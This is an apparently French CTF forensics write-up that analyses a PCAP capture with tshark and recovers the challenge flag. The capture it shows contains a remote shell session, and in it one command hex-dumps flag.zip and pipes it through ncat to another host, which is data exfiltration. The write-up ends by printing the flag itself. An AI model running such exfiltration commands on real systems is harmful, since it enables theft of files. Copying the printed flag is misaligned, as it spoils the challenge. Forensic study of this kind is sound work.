Exploration
Il faut identifier le type de fichier préalablement téléchargé avec la commande file
.
$ file cap.pcap
cap.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
Il s’agit d’une capture réseau au format PCAP.
Nous pouvons utiliser la commande tshark
pour identifier le nombre de sessions TCP
$ tshark -r cap.pcap -T fields -e tcp.stream |sort -n|uniq
0
1
Il y a bien deux sessions TCP présentes dans la capture.
Utilisons encore tshark
avec le module follow tcp stream pour afficher le payload.
$ tshark -q -nr cap.pcap -z follow,tcp,ascii,0
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 172.20.20.132:51612
Node 1: 172.20.20.133:2020
3
id
48
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
4
pwd
11
/home/fcsc
2
w
253
07:10:25 up 24 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fcsc tty7 :0 06:46 24:47 3.13s 0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
3
ls
67
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
13
ls Documents
9
flag.zip
24
file Documents/flag.zip
63
Documents/flag.zip: Zip archive data, at least v2.0 to extract
66
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
5
exit
===================================================================
On identifie un transfert du fichier flap.zip
vers 172.20.20.133
sur le port 20200.
Il faut noter que le fichier zip est préalablement converti en hexdump avec la commande xxd
.
Dans le second stream TCP on va trouver le payload hexdump du transfert du fichier :
$ tshark -q -nr cap.pcap -z follow,tcp,ascii,1
===================================================================
Follow: tcp,ascii
Filter: tcp.stream eq 1
Node 0: 172.20.20.132:35062
Node 1: 172.20.20.133:20200
464
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000
===================================================================
Solution
En combinant la commande tshark
avec la commande xxd
pour reconvertir le payload hexdump en binaire on peut afficher le contenu du fichier zip.
$ tshark -o data.show_as_text:TRUE -r cap.pcap -Y "tcp.dstport == 20200" -T fields -e data.text |xargs |xxd -r -p - |zmore
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
Le flag est donc :
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}